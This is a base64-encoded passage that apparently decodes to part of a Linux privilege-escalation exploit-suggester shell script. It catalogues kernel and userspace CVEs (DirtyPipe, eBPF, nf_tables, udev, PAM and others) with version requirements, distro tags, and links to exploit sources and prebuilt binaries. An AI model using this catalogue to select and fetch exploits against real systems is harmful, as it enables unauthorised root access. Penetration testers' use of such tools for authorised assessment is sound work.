ucyBoZXJlOiBodHRwczovL2FjY2Vzcy5yZWRoYXQuY29tL3NpdGVzL2RlZmF1bHQvZmlsZXMvcmgtY3ZlLTIwMTYtNTE5NV81LnNoCmV4cGxvaXQtZGI6IDQwODM5CmF1dGhvcjogRmlyZUZhcnQgKGF1dGhvciBvZiBleHBsb2l0IGF0IEVEQiA0MDgzOSk7IEdhYnJpZWxlIEJvbmFjaW5pIChhdXRob3Igb2YgZXhwbG9pdCBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtODY1NV0ke3R4dHJzdH0gY2hvY29ib19yb290ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQuMCx2ZXI8NC45LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0oMTQuMDR8MTYuMDQpe2tlcm5lbDo0LjQuMC0oMjF8MjJ8MjR8Mjh8MzF8MzR8MzZ8Mzh8NDJ8NDN8NDV8NDd8NTEpLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNi8xMi8wNi8xCkNvbW1lbnRzOiBDQVBfTkVUX1JBVyBjYXBhYmlsaXR5IGlzIG5lZWRlZCBPUiBDT05GSUdfVVNFUl9OUz15IG5lZWRzIHRvIGJlIGVuYWJsZWQKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9DVkUtMjAxNi04NjU1L2Nob2NvYm9fcm9vdApleHBsb2l0LWRiOiA0MDg3MQphdXRob3I6IHJlYmVsCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtOTc5M10ke3R4dHJzdH0gU09fe1NORHxSQ1Z9QlVGRk9SQ0UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMTEsdmVyPDQuOC4xNCxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL3hhaXJ5L2tlcm5lbC1leHBsb2l0cy90cmVlL21hc3Rlci9DVkUtMjAxNi05NzkzCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE2LTk3OTMvcG9jLmMKQ29tbWVudHM6IENBUF9ORVRfQURNSU4gY2FwcyBPUiBDT05GSUdfVVNFUl9OUz15IG5lZWRlZC4gTm8gU01FUC9TTUFQL0tBU0xSIGJ5cGFzcyBpbmNsdWRlZC4gVGVzdGVkIGluIFFFTVUgb25seQpleHBsb2l0LWRiOiA0MTk5NQphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTYwNzRdJHt0eHRyc3R9IGRjY3AKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOCx2ZXI8PTQuOS4xMSxDT05GSUdfSVBfRENDUD1bbXldClRhZ3M6IHVidW50dT0oMTQuMDR8MTYuMDQpe2tlcm5lbDo0LjQuMC02Mi1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDIvMjIvMwpDb21tZW50czogUmVxdWlyZXMgS2VybmVsIGJlIGJ1aWx0IHdpdGggQ09ORklHX0lQX0RDQ1AgZW5hYmxlZC4gSW5jbHVkZXMgcGFydGlhbCBTTUVQL1NNQVAgYnlwYXNzCmV4cGxvaXQtZGI6IDQxNDU4CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNzMwOF0ke3R4dHJzdH0gYWZfcGFja2V0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjIsdmVyPD00LjEwLjYsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjguMC0oMzR8MzZ8Mzl8NDF8NDJ8NDR8NDUpLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dvb2dsZXByb2plY3R6ZXJvLmJsb2dzcG90LmNvbS8yMDE3LzA1L2V4cGxvaXRpbmctbGludXgta2VybmVsLXZpYS1wYWNrZXQuaHRtbApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy03MzA4L3BvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy03MzA4L3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX1JBVyBjYXAgb3IgQ09ORklHX1VTRVJfTlM9eSBuZWVkZWQuIE1vZGlmaWVkIHZlcnNpb24gYXQgJ2V4dC11cmwnIGFkZHMgc3VwcG9ydCBmb3IgYWRkaXRpb25hbCBrZXJuZWxzCmJpbi11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvbWFzdGVyL2RhdGEvZXhwbG9pdHMvY3ZlLTIwMTctNzMwOC9leHBsb2l0CmV4cGxvaXQtZGI6IDQxOTk0CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92IChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xNjk5NV0ke3R4dHJzdH0gZUJQRl92ZXJpZmllcgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LHZlcjw9NC4xNC44LENPTkZJR19CUEZfU1lTQ0FMTD15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX2JwZl9kaXNhYmxlZCE9MQpUYWdzOiBkZWJpYW49OS4we2tlcm5lbDo0LjkuMC0zLWFtZDY0fSxmZWRvcmE9MjV8MjZ8MjcsdWJ1bnR1PTE0LjA0e2tlcm5lbDo0LjQuMC04OS1nZW5lcmljfSx1YnVudHU9KDE2LjA0fDE3LjA0KXtrZXJuZWw6NC4oOHwxMCkuMC0oMTl8Mjh8NDUpLWdlbmVyaWN9ClJhbms6IDUKYW5hbHlzaXMtdXJsOiBodHRwczovL3JpY2tsYXJhYmVlLmJsb2dzcG90LmNvbS8yMDE4LzA3L2VicGYtYW5kLWFuYWx5c2lzLW9mLWdldC1yZWt0LWxpbnV4Lmh0bWwKQ29tbWVudHM6IENPTkZJR19CUEZfU1lTQ0FMTCBuZWVkcyB0byBiZSBzZXQgJiYga2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQgIT0gMQpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTE2OTk1L2V4cGxvaXQub3V0CmV4cGxvaXQtZGI6IDQ1MDEwCmF1dGhvcjogUmljayBMYXJhYmVlCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDExMl0ke3R4dHJzdH0gTkVUSUZfRl9VRk8KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTMsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PTE0LjA0e2tlcm5lbDo0LjQuMC0qfSx1YnVudHU9MTYuMDR7a2VybmVsOjQuOC4wLSp9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNy8wOC8xMy8xCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE3LTEwMDAxMTIvcG9jLmMKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE3LTEwMDAxMTIvcG9jLmMKQ29tbWVudHM6IENBUF9ORVRfQURNSU4gY2FwIG9yIENPTkZJR19VU0VSX05TPXkgbmVlZGVkLiBTTUVQL0tBU0xSIGJ5cGFzcyBpbmNsdWRlZC4gTW9kaWZpZWQgdmVyc2lvbiBhdCAnZXh0LXVybCcgYWRkcyBzdXBwb3J0IGZvciBhZGRpdGlvbmFsIGRpc3Ryb3Mva2VybmVscwpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTEwMDAxMTIvZXhwbG9pdC5vdXQKZXhwbG9pdC1kYjoKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YgKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBCcmVuZGFuIENvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAyNTNdJHt0eHRyc3R9IFBJRV9zdGFja19jb3JydXB0aW9uClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjIsdmVyPD00LjEzLHg4Nl82NApUYWdzOiBSSEVMPTYsUkhFTD03e2tlcm5lbDozLjEwLjAtNTE0LjIxLjJ8My4xMC4wLTUxNC4yNi4xfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA5LzI2L2xpbnV4LXBpZS1jdmUtMjAxNy0xMDAwMjUzL2N2ZS0yMDE3LTEwMDAyNTMudHh0CnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wOS8yNi9saW51eC1waWUtY3ZlLTIwMTctMTAwMDI1My9jdmUtMjAxNy0xMDAwMjUzLmMKZXhwbG9pdC1kYjogNDI4ODcKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTgtNTMzM10ke3R4dHJzdH0gcmRzX2F0b21pY19mcmVlX29wIE5VTEwgcG9pbnRlciBkZXJlZmVyZW5jZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LHZlcjw9NC4xNC4xMyxjbWQ6Z3JlcCAtcWkgcmRzIC9wcm9jL21vZHVsZXMseDg2XzY0ClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC40LjB8NC44LjB9ClJhbms6IDEKc3JjLXVybDogaHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS93Ym93bGluZy85ZDMyNDkyYmQ5NmQ5ZTdjM2JmNTJlMjNhMGFjMzBhNC9yYXcvOTU5MzI1ODE5Yzc4MjQ4YTY0MzcxMDJiYjI4OWJiODU3OGExMzVjZC9jdmUtMjAxOC01MzMzLXBvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxOC01MzMzL2N2ZS0yMDE4LTUzMzMuYwpDb21tZW50czogcmRzLmtvIGtlcm5lbCBtb2R1bGUgbmVlZHMgdG8gYmUgbG9hZGVkLiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyBhZGRzIHN1cHBvcnQgZm9yIGFkZGl0aW9uYWwgdGFyZ2V0cyBhbmQgYnlwYXNzaW5nIEtBU0xSLgphdXRob3I6IHdib3dsaW5nIChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgYmNvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTE4OTU1XSR7dHh0cnN0fSBzdWJ1aWRfc2hlbGwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuMTUsdmVyPD00LjE5LjIsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEsY21kOlsgLXUgL3Vzci9iaW4vbmV3dWlkbWFwIF0sY21kOlsgLXUgL3Vzci9iaW4vbmV3Z2lkbWFwIF0KVGFnczogdWJ1bnR1PTE4LjA0e2tlcm5lbDo0LjE1LjAtMjAtZ2VuZXJpY30sZmVkb3JhPTI4e2tlcm5lbDo0LjE2LjMtMzAxLmZjMjh9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2J1Z3MuY2hyb21pdW0ub3JnL3AvcHJvamVjdC16ZXJvL2lzc3Vlcy9kZXRhaWw/aWQ9MTcxMgpzcmMtdXJsOiBodHRwczovL2dpdGxhYi5jb20vZXhwbG9pdC1kYXRhYmFzZS9leHBsb2l0ZGItYmluLXNwbG9pdHMvLS9yYXcvbWFpbi9iaW4tc3Bsb2l0cy80NTg4Ni56aXAKZXhwbG9pdC1kYjogNDU4ODYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMzI3Ml0ke3R4dHJzdH0gUFRSQUNFX1RSQUNFTUUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQsdmVyPDUuMS4xNyxzeXNjdGw6a2VybmVsLnlhbWEucHRyYWNlX3Njb3BlPT0wLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuMTUuMC0qfSx1YnVudHU9MTguMDR7a2VybmVsOjQuMTUuMC0qfSxkZWJpYW49OXtrZXJuZWw6NC45LjAtKn0sZGViaWFuPTEwe2tlcm5lbDo0LjE5LjAtKn0sZmVkb3JhPTMwe2tlcm5lbDo1LjAuOS0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE5MDMKc3JjLXVybDogaHR0cHM6Ly9naXRsYWIuY29tL2V4cGxvaXQtZGF0YWJhc2UvZXhwbG9pdGRiLWJpbi1zcGxvaXRzLy0vcmF3L21haW4vYmluLXNwbG9pdHMvNDcxMzMuemlwCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxOS0xMzI3Mi9wb2MuYwpDb21tZW50czogUmVxdWlyZXMgYW4gYWN0aXZlIFBvbEtpdCBhZ2VudC4KZXhwbG9pdC1kYjogNDcxMzMKZXhwbG9pdC1kYjogNDcxNjMKYXV0aG9yOiBKYW5uIEhvcm4gKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBiY29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTU2NjZdJHt0eHRyc3R9IFhGUk1fVUFGClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLHZlcjw1LjAuMTksQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEsQ09ORklHX1hGUk09eQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9kdWFzeW50LmNvbS9ibG9nL3VidW50dS1jZW50b3MtcmVkaGF0LXByaXZlc2MKYmluLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2R1YXN5bnQveGZybV9wb2MvcmF3L21hc3Rlci9sdWNreTAKQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQ7IENPTkZJR19YRlJNIG5lZWRzIHRvIGJlIGVuYWJsZWQKYXV0aG9yOiBWaXRhbHkgJ3ZuaWsnIE5pa29sZW5rbwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTI3MzY1XSR7dHh0cnN0fSBsaW51eC1pc2NzaQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcjw9NS4xMS4zLENPTkZJR19TTEFCX0ZSRUVMSVNUX0hBUkRFTkVEIT15ClRhZ3M6IFJIRUw9OApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmdyaW1tLWNvLmNvbS8yMDIxLzAzL25ldy1vbGQtYnVncy1pbi1saW51eC1rZXJuZWwuaHRtbApzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vZ3JpbW0tY28vTm90UXVpdGUwRGF5RnJpZGF5L3ppcC90cnVuawpDb21tZW50czogQ09ORklHX1NMQUJfRlJFRUxJU1RfSEFSREVORUQgbXVzdCBub3QgYmUgZW5hYmxlZAphdXRob3I6IEdSSU1NCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMzQ5MF0ke3R4dHJzdH0gZUJQRiBBTFUzMiBib3VuZHMgdHJhY2tpbmcgZm9yIGJpdHdpc2Ugb3BzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj01LjcsdmVyPDUuMTIsQ09ORklHX0JQRl9TWVNDQUxMPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xClRhZ3M6IHVidW50dT0yMC4wNHtrZXJuZWw6NS44LjAtKDI1fDI2fDI3fDI4fDI5fDMwfDMxfDMyfDMzfDM0fDM1fDM2fDM3fDM4fDM5fDQwfDQxfDQyfDQzfDQ0fDQ1fDQ2fDQ3fDQ4fDQ5fDUwfDUxfDUyKS0qfSx1YnVudHU9MjEuMDR7a2VybmVsOjUuMTEuMC0xNi0qfQpSYW5rOiA1CmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuZ3JhcGxzZWN1cml0eS5jb20vcG9zdC9rZXJuZWwtcHduaW5nLXdpdGgtZWJwZi1hLWxvdmUtc3RvcnkKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL2Nob21waWUxMzM3L0xpbnV4X0xQRV9lQlBGX0NWRS0yMDIxLTM0OTAvemlwL21haW4KQ29tbWVudHM6IENPTkZJR19CUEZfU1lTQ0FMTCBuZWVkcyB0byBiZSBzZXQgJiYga2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQgIT0gMQphdXRob3I6IGNob21waWUxMzM3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMjI1NTVdJHt0eHRyc3R9IE5ldGZpbHRlciBoZWFwIG91dC1vZi1ib3VuZHMgd3JpdGUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOSx2ZXI8PTUuMTItcmM2ClRhZ3M6IHVidW50dT0yMC4wNHtrZXJuZWw6NS44LjAtKn0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ29vZ2xlLmdpdGh1Yi5pby9zZWN1cml0eS1yZXNlYXJjaC9wb2NzL2xpbnV4L2N2ZS0yMDIxLTIyNTU1L3dyaXRldXAuaHRtbApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vZ29vZ2xlL3NlY3VyaXR5LXJlc2VhcmNoL21hc3Rlci9wb2NzL2xpbnV4L2N2ZS0yMDIxLTIyNTU1L2V4cGxvaXQuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMjEtMjI1NTUvZXhwbG9pdC5jCkNvbW1lbnRzOiBpcF90YWJsZXMga2VybmVsIG1vZHVsZSBtdXN0IGJlIGxvYWRlZApleHBsb2l0LWRiOiA1MDEzNQphdXRob3I6IHRoZWZsb3cgKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBiY29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjItMDg0N10ke3R4dHJzdH0gRGlydHlQaXBlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj01LjgsdmVyPD01LjE2LjExClRhZ3M6IHVidW50dT0oMjAuMDR8MjEuMDQpLGRlYmlhbj0xMQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9kaXJ0eXBpcGUuY200YWxsLmNvbS8Kc3JjLXVybDogaHR0cHM6Ly9oYXh4LmluL2ZpbGVzL2RpcnR5cGlwZXouYwpleHBsb2l0LWRiOiA1MDgwOAphdXRob3I6IGJsYXN0eSAob3JpZ2luYWwgZXhwbG9pdCBhdXRob3I6IE1heCBLZWxsZXJtYW5uKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIyLTI1ODZdJHt0eHRyc3R9IG5mdF9vYmplY3QgVUFGClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjE2LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0oMjAuMDQpe2tlcm5lbDo1LjEyLjEzfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDIyLzA4LzI5LzUKc3JjLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDIyLzA4LzI5LzUvMQpDb21tZW50czoga2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9MSByZXF1aXJlZCAodG8gb2J0YWluIENBUF9ORVRfQURNSU4pCmF1dGhvcjogdnVsbmVyYWJpbGl0eSBkaXNjb3Zlcnk6IFRlYW0gT3JjYSBvZiBTZWEgU2VjdXJpdHk7IEV4cGxvaXQgYXV0aG9yOiBBbGVqYW5kcm8gR3VlcnJlcm8KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMi0zMjI1MF0ke3R4dHJzdH0gbmZ0X29iamVjdCBVQUYgKE5GVF9NU0dfTkVXU0VUKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcjw1LjE4LjEsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PSgyMi4wNCl7a2VybmVsOjUuMTUuMC0yNy1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9yZXNlYXJjaC5uY2Nncm91cC5jb20vMjAyMi8wOS8wMS9zZXR0bGVycy1vZi1uZXRsaW5rLWV4cGxvaXRpbmctYS1saW1pdGVkLXVhZi1pbi1uZl90YWJsZXMtY3ZlLTIwMjItMzIyNTAvCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLnRoZW9yaS5pby9yZXNlYXJjaC9DVkUtMjAyMi0zMjI1MC1saW51eC1rZXJuZWwtbHBlLTIwMjIvCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS90aGVvcmktaW8vQ1ZFLTIwMjItMzIyNTAtZXhwbG9pdC9tYWluL2V4cC5jCkNvbW1lbnRzOiBrZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT0xIHJlcXVpcmVkICh0byBvYnRhaW4gQ0FQX05FVF9BRE1JTikKYXV0aG9yOiB2dWxuZXJhYmlsaXR5IGRpc2NvdmVyeTogRURHIFRlYW0gZnJvbSBOQ0MgR3JvdXA7IEF1dGhvciBvZiB0aGlzIGV4cGxvaXQ6IHRoZW9yaS5pbwpFT0YKKQoKCiMjIyMjIyMjIyMjIyBVU0VSU1BBQ0UgRVhQTE9JVFMgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCm49MAoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0wMTg2XSR7dHh0cnN0fSBzYW1iYQpSZXFzOiBwa2c9c2FtYmEsdmVyPD0yLjIuOApUYWdzOiAKUmFuazogMQpleHBsb2l0LWRiOiAyMzY3NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0xMTg1XSR7dHh0cnN0fSB1ZGV2ClJlcXM6IHBrZz11ZGV2LHZlcjwxNDEsY21kOltbIC1mIC9ldGMvdWRldi9ydWxlcy5kLzk1LXVkZXYtbGF0ZS5ydWxlcyB8fCAtZiAvbGliL3VkZXYvcnVsZXMuZC85NS11ZGV2LWxhdGUucnVsZXMgXV0KVGFnczogdWJ1bnR1PTguMTB8OS4wNApSYW5rOiAxCmV4cGxvaXQtZGI6IDg1NzIKQ29tbWVudHM6IFZlcnNpb248MS40LjEgdnVsbmVyYWJsZSBidXQgZGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZCAKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMTE4NV0ke3R4dHJzdH0gdWRldiAyClJlcXM6IHBrZz11ZGV2LHZlcjwxNDEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA4NDc4CkNvbW1lbnRzOiBTU0ggYWNjZXNzIHRvIG5vbiBwcml2aWxlZ2VkIHVzZXIgaXMgbmVlZGVkLiBWZXJzaW9uPDEuNC4xIHZ1bG5lcmFibGUgYnV0IGRpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMDgzMl0ke3R4dHJzdH0gUEFNIE1PVEQKUmVxczogcGtnPWxpYnBhbS1tb2R1bGVzLHZlcjw9MS4xLjEKVGFnczogdWJ1bnR1PTkuMTB8MTAuMDQKUmFuazogMQpleHBsb2l0LWRiOiAxNDMzOQpDb21tZW50czogU1NIIGFjY2VzcyB0byBub24gcHJpd